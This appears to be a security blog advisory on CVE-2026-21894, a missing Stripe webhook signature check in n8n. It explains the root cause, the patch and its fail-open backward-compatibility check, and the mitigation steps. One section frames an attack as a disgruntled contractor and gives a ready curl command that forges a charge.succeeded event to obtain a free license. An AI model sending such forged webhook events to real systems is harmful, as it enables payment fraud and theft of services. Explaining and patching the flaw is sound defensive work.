Feb 24, 2026·5 min read·8 visits
n8n's Stripe Trigger node ignored the `stripe-signature` header, allowing unauthenticated attackers to forge payment events. Patching to 2.2.2 fixes the code, but the fix is opt-in: if you don't manually configure the signing secret, the system remains insecure.
In the world of 'low-code' automation, convenience often eats security for lunch. CVE-2026-21894 is a prime example: n8n, the popular workflow automation tool, failed to verify the cryptographic signatures of incoming Stripe webhooks. This meant that anyone with your webhook URL could effectively print money within your internal systems—triggering 'payment successful' workflows without ever spending a dime. While the patch fixes the code, the implementation leaves a gaping 'fail-open' hole that keeps lazy administrators vulnerable.
Automation is the lifeblood of modern DevOps and FinOps. Tools like n8n allow developers to stitch together complex workflows—like 'When a user pays $50 on Stripe, add them to the database, send a Slack notification, and email them a license key.' It's magic. It's efficient. It's also terrifying if you think about the trust model.
In a secure webhook implementation, the receiver (n8n) must fundamentally distrust the sender. The internet is a noisy place, and endpoints are public. To solve this, providers like Stripe sign every request using a shared secret and an HMAC-SHA256 hash in the stripe-signature header. It is the digital equivalent of checking an ID badge before letting someone into the vault.
But for a long time, n8n didn't check the badge. It didn't even look at it. The Stripe Trigger node simply listened for a POST request, parsed the JSON, and executed the workflow. If the JSON said 'payment_intent.succeeded', n8n believed it. This vulnerability isn't a complex memory corruption or a race condition; it's a fundamental failure to implement the basic 'Hello World' of webhook security.
The root cause here is Authentication Bypass by Spoofing (CWE-290). In versions 0.150.0 through 2.2.1, the StripeTrigger.node.ts file acted like a gullible doorman. When an HTTP POST request arrived, the code immediately extracted the body data and matched the type field against the configured events.
> [!WARNING] > The system generated a webhook secret during setup, but never actually used it to validate incoming traffic.
This is a classic logic error. The developer likely assumed that the obscurity of the webhook URL (which usually contains a UUID) was sufficient security. While a UUID is hard to guess (High Attack Complexity), it is not a security control. URLs leak. They appear in browser history, proxy logs, and accidental screenshots. Relying on a hidden URL to protect financial logic is like hiding your house key under the doormat and assuming burglars won't look there.
Let's look at the anatomy of the failure. In the vulnerable versions, the execution flow was linear and naive. There was zero conditional logic checking headers.
The Vulnerable Logic (Pseudo-code):
async webhook(this: IWebhookFunctions): Promise<IWebhookResponseData> {
// 1. Get the body
const bodyData = this.getBodyData();
// 2. Trust the body blindly
const eventType = bodyData.type;
// 3. Trigger the workflow
return {
workflowData: [this.helpers.returnJsonArray(bodyData)],
};
}The Fix (Commit a61a5991):
The patch introduced a helper function verifySignature in StripeTriggerHelpers.ts. This function finally implements the necessary cryptography. It parses the stripe-signature header, extracts the timestamp t and the signature v1, and computes the HMAC.
// The new check
const header = this.getHeader('stripe-signature');
if (!verifySignature(body, header, secret)) {
// 401 Unauthorized - The door is shut
res.status(401).end();
return;
}However, there is a massive catch in the patch logic. To maintain backward compatibility, the developers implemented a "fail-open" check:
if (!credential?.signatureSecret) {
return true; // <--- LOOK AT THIS
}If the user updates the software but forgets to go into the n8n UI and paste their Stripe Signing Secret into the credential field, the function returns true, and the vulnerability persists. The code prefers usability over security, effectively making the patch opt-in.
Exploiting this is trivially easy once you have the target URL. You don't need a compiler, you don't need shellcode, you just need curl.
Scenario: You are a disgruntled contractor who still has the n8n webhook URL from an old Slack message. The company uses n8n to provision software licenses when a Stripe payment clears.
The Attack Chain:
charge.succeeded event.# The "Free License" Generator
curl -X POST https://n8n.victim-corp.internal/webhook/d34db33f-.... \
-H "Content-Type: application/json" \
-d '{
"id": "evt_123456789",
"object": "event",
"type": "charge.succeeded",
"data": {
"object": {
"id": "ch_1fakechargedata",
"amount": 5000,
"currency": "usd",
"status": "succeeded",
"customer": "cus_attacker_id"
}
}
}'The Result:
n8n receives the JSON. It sees charge.succeeded. It runs the workflow. The workflow calls the 'Generate License' node. You get a $5,000 enterprise license for free. The finance team sees nothing in Stripe because the event never happened there.
Mitigation here is a two-step process. If you stop at step one, you are still vulnerable.
Upgrade the Binary: Update your n8n instance to version 2.2.2 or higher. This brings in the verifySignature code.
Configure the Secret (CRITICAL):
whsec_...).Without step 2, the if (!credential?.signatureSecret) check will pass, and you remain exposed to forged events. For security teams, this is a detection nightmare: legitimate traffic and forged traffic look identical on the wire unless you are inspecting the stripe-signature header validity yourself via a WAF.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
n8n n8n | 0.150.0 - 2.2.1 | 2.2.2 |
| Attribute | Detail |
|---|---|
| Attack Vector | Network (AV:N) |
| Attack Complexity | High (AC:H) |
| CVSS | 6.5 (Medium) |
| CWE | CWE-290 (Auth Bypass by Spoofing) |
| Impact | Integrity & Confidentiality |
| Fix Status | Patched (v2.2.2) |
The application does not perform or incorrectly performs an authentication check to verify the identity of the user or entity who originated the request.